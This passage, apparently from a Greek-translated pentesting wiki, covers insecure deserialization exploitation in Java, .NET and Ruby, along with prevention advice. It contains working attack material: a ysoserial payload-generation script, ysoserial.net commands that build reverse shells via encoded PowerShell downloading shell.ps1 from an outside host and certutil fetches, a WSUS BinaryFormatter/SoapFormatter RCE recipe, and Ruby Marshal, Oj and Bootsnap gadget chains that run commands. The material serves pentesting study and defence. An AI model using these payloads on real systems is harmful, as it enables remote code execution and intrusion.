Μη διστάσετε να χρησιμοποιήσετε το επόμενο script για να δημιουργήσετε all the possible code execution payloads για Windows και Linux και στη συνέχεια να τα δοκιμάσετε στην ευάλωτη ιστοσελίδα:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Μπορείτε να χρησιμοποιήσετε https://github.com/pwntester/SerialKillerBypassGadgetCollection μαζί με ysoserial για να δημιουργήσετε περισσότερα exploits. Περισσότερες πληροφορίες για αυτό το εργαλείο στις διαφάνειες της παρουσίασης όπου παρουσιάστηκε: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec μπορεί να χρησιμοποιηθεί για να δημιουργήσει payloads για την εκμετάλλευση διαφορετικών βιβλιοθηκών σειριοποίησης Json και Yml σε Java.
Για να κάνω compile το project χρειαζόταν να προσθέσω αυτές τις εξαρτήσεις στο pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Εγκαταστήστε maven, και μεταγλωττίστε το έργο:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Διαβάστε περισσότερα για αυτή τη Java JSON βιβλιοθήκη: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Η Java χρησιμοποιεί πολύ serialization για διάφορους σκοπούς όπως:

  • HTTP requests: Το serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ.
  • RMI (Remote Method Invocation): Το πρωτόκολλο Java RMI, που βασίζεται εξ ολοκλήρου στο serialization, είναι θεμέλιος λίθος για την απομακρυσμένη επικοινωνία σε Java εφαρμογές.
  • RMI over HTTP: Αυτή η μέθοδος χρησιμοποιείται συνήθως από Java-based thick client web applications, αξιοποιώντας το serialization για όλες τις επικοινωνίες αντικειμένων.
  • JMX (Java Management Extensions): Το JMX χρησιμοποιεί serialization για τη μεταφορά αντικειμένων μέσω του δικτύου.
  • Custom Protocols: Στην Java, η συνήθης πρακτική περιλαμβάνει τη μετάδοση raw Java objects, τα οποία θα επιδειχθούν σε επερχόμενα παραδείγματα exploit.

Prevention

Transient objects

Μια κλάση που υλοποιεί Serializable μπορεί να δηλώσει ως transient οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν θα πρέπει να είναι serializable. Για παράδειγμα:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Αποφυγή της Serialization για μια κλάση που πρέπει να υλοποιεί το Serializable

Σε περιπτώσεις όπου ορισμένα objects πρέπει να υλοποιούν το Serializable interface λόγω της ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη-εσκεμμένης deserialization. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι non-deserializable ορίζοντας μια final readObject() μέθοδο που πάντα πετάει μια εξαίρεση, όπως φαίνεται παρακάτω:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Ενίσχυση της ασφάλειας αποσειριοποίησης σε Java

Προσαρμογή του java.io.ObjectInputStream αποτελεί πρακτική προσέγγιση για την ασφάλιση των διαδικασιών αποσειριοποίησης. Αυτή η μέθοδος είναι κατάλληλη όταν:

  • Ο κώδικας αποσειριοποίησης βρίσκεται υπό τον έλεγχό σας.
  • Οι κλάσεις που αναμένονται για αποσειριοποίηση είναι γνωστές.

Υπερκαλύψτε τη μέθοδο resolveClass() για να περιορίσετε την αποσειριοποίηση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσειριοποίηση οποιασδήποτε κλάσης εκτός από αυτές που ρητά επιτρέπονται, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσειριοποίηση μόνο στην κλάση Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement προσφέρει μια εναλλακτική λύση όταν η τροποποίηση του κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για blacklisting harmful classes, χρησιμοποιώντας μια JVM παράμετρο:

-javaagent:name-of-agent.jar

Παρέχει έναν τρόπο να ασφαλίσετε την απο-σειριοποίηση δυναμικά, ιδανικό για περιβάλλοντα όπου οι άμεσες αλλαγές στον κώδικα είναι μη πρακτικές.

Δείτε ένα παράδειγμα στο rO0 by Contrast Security

Υλοποίηση Serialization Filters: Η Java 9 εισήγαγε serialization filters μέσω της διεπαφής ObjectInputFilter, προσφέροντας έναν ισχυρό μηχανισμό για τον καθορισμό κριτηρίων που πρέπει να πληρούν τα σειριοποιημένα αντικείμενα πριν απο-σειριοποιηθούν. Αυτά τα φίλτρα μπορούν να εφαρμοστούν παγκοσμίως ή ανά ροή, παρέχοντας λεπτομερή έλεγχο στη διαδικασία απο-σειριοποίησης.

Για να χρησιμοποιήσετε τα serialization filters, μπορείτε να ορίσετε ένα παγκόσμιο φίλτρο που εφαρμόζεται σε όλες τις λειτουργίες απο-σειριοποίησης ή να το διαμορφώσετε δυναμικά για συγκεκριμένες ροές. Για παράδειγμα:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Ενισχυμένη Ασφάλεια: Βιβλιοθήκες όπως NotSoSerial, jdeserialize, και Kryo προσφέρουν προηγμένες δυνατότητες για τον έλεγχο και την παρακολούθηση της Java deserialization. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως whitelist ή blacklist κλάσεων, ανάλυση serialized objects πριν από την deserialization, και υλοποίηση custom serialization στρατηγικών.

  • NotSoSerial παρεμβαίνει στις διαδικασίες deserialization για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
  • jdeserialize επιτρέπει την ανάλυση serialized Java objects χωρίς να τα deserializes, βοηθώντας στον εντοπισμό πιθανώς κακόβουλου περιεχομένου.
  • Kryo είναι ένα εναλλακτικό serialization framework που δίνει έμφαση στην ταχύτητα και αποδοτικότητα, προσφέροντας configurable serialization στρατηγικές που μπορούν να ενισχύσουν την ασφάλεια.

References

JNDI Injection & log4Shell

Βρείτε τι είναι το JNDI Injection, πώς να το καταχραστείτε μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell (και παράδειγμα αυτής της vuln) στην παρακάτω σελίδα:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

Το API του Java Message Service (JMS) είναι ένα Java message-oriented middleware API για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων clients. Είναι μια υλοποίηση για την αντιμετώπιση του producer–consumer προβλήματος. Το JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE), και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε στη Sun Microsystems, αλλά έκτοτε καθοδηγείται από τη Java Community Process. Είναι ένα messaging standard που επιτρέπει σε components εφαρμογών βασισμένων σε Java EE να δημιουργούν, στέλνουν, λαμβάνουν και διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών components μιας κατανεμημένης εφαρμογής να είναι loosely coupled, reliable, και asynchronous. (From Wikipedia).

Products

Υπάρχουν διάφορα προϊόντα που χρησιμοποιούν αυτό το middleware για την αποστολή μηνυμάτων:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Ουσιαστικά υπάρχουν πολλές υπηρεσίες που χρησιμοποιούν το JMS με επικίνδυνο τρόπο. Επομένως, αν έχετε αρκετά προνόμια για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα credentials) θα μπορούσατε να στείλετε κακόβουλα serialized objects που θα deserializes ο consumer/subscriber.
Αυτό σημαίνει ότι σε αυτήν την εκμετάλλευση όλοι οι clients που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν.

Πρέπει να θυμάστε ότι ακόμα κι αν μια υπηρεσία είναι vulnerable (επειδή deserializes στοιχεία από τον χρήστη με ανασφαλή τρόπο) εξακολουθείτε να χρειάζεται να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.

Το εργαλείο JMET δημιουργήθηκε για να connect και attack αυτές τις υπηρεσίες στέλνοντας διάφορα malicious serialized objects χρησιμοποιώντας γνωστά gadgets. Αυτά τα exploits θα δουλέψουν αν η υπηρεσία παραμένει vulnerable και αν κάποια από τα χρησιμοποιημένα gadgets υπάρχει στην ευάλωτη εφαρμογή.

References

.Net

Στο πλαίσιο του .Net, οι deserialization εκμεταλλεύσεις λειτουργούν με τρόπο όμοιο με αυτόν που συναντάται στη Java, όπου gadgets εκμεταλλεύονται για να τρέξουν συγκεκριμένο κώδικα κατά τη διάρκεια της deserialization ενός αντικειμένου.

Fingerprint

WhiteBox

Ο πηγαίος κώδικας πρέπει να ελεγχθεί για εμφανίσεις των:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Η έμφαση πρέπει να δοθεί σε serializers που επιτρέπουν το type να καθορίζεται από μια μεταβλητή υπό έλεγχο του χρήστη.

BlackBox

Η αναζήτηση πρέπει να στοχεύει το Base64 encoded string AAEAAAD///// ή οποιοδήποτε παρόμοιο pattern που μπορεί να υποστεί deserialization στον server-side, παρέχοντας έλεγχο πάνω στον τύπο που θα deserializes. Αυτό μπορεί να περιλαμβάνει, αλλά δεν περιορίζεται σε, JSON ή XML δομές που περιέχουν TypeObject ή $type.

ysoserial.net

Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο ysoserial.net για να δημιουργήσετε τα deserialization exploits. Μόλις κατεβάσετε το git repository πρέπει να συμπληρώσετε/compile το tool χρησιμοποιώντας Visual Studio για παράδειγμα.

Αν θέλετε να μάθετε πώς το ysoserial.net δημιουργεί το exploit του μπορείτε να ελέγξετε αυτή τη σελίδα όπου εξηγείται το ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Οι κύριες επιλογές του ysoserial.net είναι: --gadget, --formatter, --output και --plugin.

  • --gadget χρησιμοποιείται για να υποδείξει το gadget προς εκμετάλλευση (υποδεικνύει την κλάση/συνάρτηση που θα χρησιμοποιηθεί κατά τη deserialization για να εκτελέσει εντολές).
  • --formatter, χρησιμοποιείται για να υποδείξει τη μέθοδο που θα serializes το exploit (πρέπει να ξέρετε ποια βιβλιοθήκη χρησιμοποιεί το backend για να deserializes το payload και να χρησιμοποιήσετε την ίδια για να το serialize).
  • --output χρησιμοποιείται για να υποδείξετε αν θέλετε το exploit σε raw ή base64 encoded. Σημειώστε ότι ysoserial.net θα κωδικοποιήσει το payload χρησιμοποιώντας UTF-16LE (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και απλά το κωδικοποιήσετε από ένα linux κονσόλα μπορεί να αντιμετωπίσετε προβλήματα encoding compatibility που θα εμποδίσουν το exploit να δουλέψει σωστά (στο HTB JSON box το payload δούλεψε σε τόσο UTF-16LE όσο και ASCII αλλά αυτό δεν σημαίνει ότι θα δουλεύει πάντα).
  • --plugin το ysoserial.net υποστηρίζει plugins για τη δημιουργία exploits για συγκεκριμένα frameworks όπως ViewState

More ysoserial.net parameters

  • --minify θα παράσχει ένα μικρότερο payload (αν είναι δυνατό)
  • --raf -f Json.Net -c "anything" Αυτό θα δείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με τον παρεχόμενο formatter (Json.Net σε αυτή την περίπτωση)
  • --sf xml μπορείτε να υποδείξετε ένα gadget (-g) και το ysoserial.net θα ψάξει για formatters που περιέχουν “xml” (case insensitive)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net έχει επίσης μια πολύ ενδιαφέρουσα παράμετρο που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε exploit: --test
Αν δηλώσετε αυτήν την παράμετρο, ysoserial.net θα προσπαθήσει το exploit τοπικά, ώστε να μπορείτε να δοκιμάσετε αν το payload σας θα λειτουργήσει σωστά.
Αυτή η παράμετρος είναι χρήσιμη γιατί αν εξετάσετε τον κώδικα θα βρείτε κομμάτια κώδικα σαν το παρακάτω (από ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Αυτό σημαίνει ότι, για να δοκιμαστεί το exploit, ο κώδικας θα καλέσει serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test parameter allows us to understand which chunks of code are vulnerable to the desrialization exploit that ysoserial.net can create.

ViewState

Take a look to this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. If you already know the secrets used by the victim machine, read this post to know to execute code.

Σε πραγματικό περιβάλλον sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Επηρεαζόμενα endpoints:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
  • Βασική αιτία: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).

Minimal exploitation (Reporting path):

  1. Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Κατασκευάστε SOAP για το ReportEventBatch ενσωματώνοντας το base64 gadget και κάντε POST στο /ReportingWebService.asmx.
  2. Όταν ένας διαχειριστής ανοίξει την κονσόλα WSUS, το event αποσειριοποιείται και το gadget ενεργοποιείται (RCE ως SYSTEM).

AuthorizationCookie / GetCookie()

  • Ένα παραποιημένο AuthorizationCookie μπορεί να γίνει αποδεκτό, να αποκρυπτογραφηθεί και να περαστεί σε BinaryFormatter sink, επιτρέποντας pre‑auth RCE αν είναι προσβάσιμο.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

Πρόληψη

Για να μειώσετε τους κινδύνους που σχετίζονται με την deserialization στο .Net:

  • Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους των αντικειμένων τους. Χρησιμοποιήστε DataContractSerializer ή XmlSerializer όταν είναι δυνατό.
  • Για JSON.Net, θέστε το TypeNameHandling σε None: TypeNameHandling = TypeNameHandling.None
  • Αποφύγετε τη χρήση του JavaScriptSerializer με JavaScriptTypeResolver.
  • Περιορίστε τους τύπους που μπορούν να deserialized, κατανοώντας τους εγγενείς κινδύνους με .Net types, όπως System.IO.FileInfo, που μπορεί να τροποποιήσει ιδιότητες αρχείων του server, ενδεχομένως οδηγώντας σε denial of service attacks.
  • Να είστε προσεκτικοί με τύπους που έχουν επικίνδυνες ιδιότητες, όπως System.ComponentModel.DataAnnotations.ValidationException με την ιδιότητα Value, η οποία μπορεί να εκμεταλλευτεί.
  • Ελέγξτε με ασφάλεια την instantiation των τύπων για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία deserialization, καθιστώντας ευάλωτα ακόμα και τα DataContractSerializer ή XmlSerializer.
  • Υλοποιήστε ελέγχους λίστας επιτρεπτών χρησιμοποιώντας custom SerializationBinder για BinaryFormatter και JSON.Net.
  • Μείνετε ενημερωμένοι για γνωστά insecure deserialization gadgets μέσα στο .Net και βεβαιωθείτε ότι οι deserializers δεν θα instantiate τέτοιους τύπους.
  • Απομονώστε πιθανώς επικίνδυνο κώδικα από κώδικα με πρόσβαση στο internet για να αποφύγετε την έκθεση γνωστών gadgets, όπως System.Windows.Data.ObjectDataProvider σε WPF εφαρμογές, σε μη αξιόπιστες πηγές δεδομένων.

Αναφορές

Ruby

Στο Ruby, η serialization πραγματοποιείται από δύο μεθόδους μέσα στη βιβλιοθήκη marshal. Η πρώτη μέθοδος, γνωστή ως dump, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε byte stream. Αυτή η διαδικασία αναφέρεται ως serialization. Αντίθετα, η δεύτερη μέθοδος, load, χρησιμοποιείται για να επαναφέρει ένα byte stream σε αντικείμενο, μια διαδικασία γνωστή ως deserialization.

Για την ασφάλεια των serialized αντικειμένων, το Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code), εξασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται γι’ αυτόν τον σκοπό αποθηκεύεται σε ένα από τα παρακάτω σημεία:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (περισσότερες πληροφορίες στο https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Άλλη αλυσίδα RCE για exploit του Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

As explained in this vulnerability report, αν κάποια μη καθαρισμένη είσοδος χρήστη φτάσει στη μέθοδο .send() ενός ruby αντικειμένου, αυτή η μέθοδος επιτρέπει να κληθεί οποιαδήποτε άλλη μέθοδος του αντικειμένου με οποιουσδήποτε παραμέτρους.

Για παράδειγμα, η κλήση του eval και στη συνέχεια ruby code ως δεύτερου παραμέτρου θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Επιπλέον, αν μόνο μία παράμετρος της .send() ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στο προηγούμενο writeup, είναι δυνατό να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που δεν χρειάζεται ορίσματα ή των οποίων τα ορίσματα έχουν προεπιλεγμένες τιμές.
Για αυτό, είναι δυνατό να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να βρεθούν μερικές ενδιαφέρουσες μέθοδοι που ικανοποιούν αυτές τις απαιτήσεις.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Δες πώς μπορεί να γίνει pollute a Ruby class and abuse it in here.

Ruby _json pollution

Όταν στο body αποστέλλονται κάποιες τιμές που δεν είναι hashable, όπως ένα array, αυτές θα προστεθούν σε ένα νέο κλειδί με όνομα _json. Ωστόσο, είναι δυνατόν ένας επιτιθέμενος να ορίσει επίσης στο body μια τιμή με όνομα _json με οποιεσδήποτε αυθαίρετες τιμές επιθυμεί. Αν, για παράδειγμα, το backend ελέγχει την εγκυρότητα μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιεί την παράμετρο _json για να εκτελέσει κάποια ενέργεια, μπορεί να πραγματοποιηθεί παράκαμψη εξουσιοδότησης.

Δες περισσότερες πληροφορίες στη σελίδα Ruby _json pollution page.

Άλλες βιβλιοθήκες

Αυτή η τεχνική ελήφθη from this blog post.

Υπάρχουν κι άλλες Ruby βιβλιοθήκες που μπορούν να χρησιμοποιηθούν για να serialize αντικείμενα και συνεπώς να καταχραστούν για απόκτηση RCE κατά την insecure deserialization. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλείται στην φορτωμένη κλάση όταν γίνεται unserialized (συνάρτηση που μπορεί να καταχραστεί για να αποκτηθεί RCE βασικά):

ΒιβλιοθήκηΔεδομένα εισόδουΜέθοδος εκκίνησης μέσα στην κλάση
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Βασικό παράδειγμα:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Στην περίπτωση της απόπειρας κατάχρησης του Oj, ήταν δυνατό να βρεθεί ένα gadget class που, μέσα στη hash function του, καλούσε το to_s, το οποίο με τη σειρά του καλούσε το spec, που καλούσε το fetch_path — το οποίο μπορούσε να αναγκαστεί να κάνει fetch ένα τυχαίο URL — παρέχοντας έναν εξαιρετικό ανιχνευτή για αυτού του είδους τις unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος αποτελεί προαπαιτούμενο για την κατάχρηση ενός άλλου gadget προκειμένου να μετατραπεί αυτό σε πλήρες RCE με κάτι σαν:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Παρακάτω υπάρχει μια σύντομη περίληψη των βημάτων που περιγράφει το άρθρο για την εκμετάλλευση μιας arbitrary file write ευπάθειας μέσω της κατάχρησης της Bootsnap caching:

  • Identify the Vulnerability and Environment

    Η λειτουργία ανέβασμα αρχείων της Rails εφαρμογής επιτρέπει σε έναν επιτιθέμενο να γράψει αρχεία arbitrarily. Ακόμα κι αν η εφαρμογή τρέχει με περιορισμούς (μόνο ορισμένοι κατάλογοι όπως tmp είναι writable λόγω Docker’s non-root user), αυτό επιτρέπει τη δυνατότητα εγγραφής στον Bootsnap cache directory (typical under tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

    Bootsnap επιταχύνει τους χρόνους εκκίνησης του Rails κάνοντας cache compiled Ruby code, YAML, και JSON αρχεία. Αποθηκεύει cache αρχεία που περιλαμβάνουν ένα cache key header (με πεδία όπως Ruby version, file size, mtime, compile options, κ.λπ.) ακολουθούμενα από τον compiled code. Αυτό το header χρησιμοποιείται για την επικύρωση του cache κατά την εκκίνηση της εφαρμογής.

  • Gather File Metadata

    Ο επιτιθέμενος επιλέγει πρώτα ένα target file που πιθανώς φορτώνεται κατά την εκκίνηση του Rails (π.χ. set.rb από τη standard library του Ruby). Εκτελώντας Ruby code εντός του container, εξάγει κρίσιμα metadata (όπως RUBY_VERSION, RUBY_REVISION, size, mtime, και compile_option). Αυτά τα δεδομένα είναι απαραίτητα για να κατασκευαστεί ένα έγκυρο cache key.

  • Compute the Cache File Path

    Αναπαράγοντας τον FNV-1a 64-bit hash μηχανισμό του Bootsnap, προσδιορίζεται το σωστό cache file path. Αυτό το βήμα εξασφαλίζει ότι το malicious cache file τοποθετείται ακριβώς εκεί όπου το Bootsnap το περιμένει (π.χ., under tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

    Ο επιτιθέμενος προετοιμάζει ένα payload που:

    • Εκτελεί arbitrary commands (για παράδειγμα, running id για να δείξει πληροφορίες διεργασίας).
    • Αφαιρεί το malicious cache μετά την εκτέλεση για να αποφευχθεί recursive exploitation.
    • Φορτώνει το original file (π.χ., set.rb) για να αποφευχθεί το crashing της εφαρμογής.

    Αυτό το payload μεταγλωττίζεται σε binary Ruby code και συνενώνεται με ένα προσεκτικά κατασκευασμένο cache key header (χρησιμοποιώντας τα προηγουμένως συλλεγμένα metadata και τον σωστό αριθμό έκδοσης για Bootsnap).

  • Overwrite and Trigger Execution

    Χρησιμοποιώντας την arbitrary file write ευπάθεια, ο επιτιθέμενος γράφει το crafted cache file στη computed location. Έπειτα προκαλεί ένα server restart (γράφοντας στο tmp/restart.txt, το οποίο παρακολουθείται από Puma). Κατά την επανεκκίνηση, όταν το Rails απαιτεί το targeted file, το malicious cache file φορτώνεται, οδηγώντας σε remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

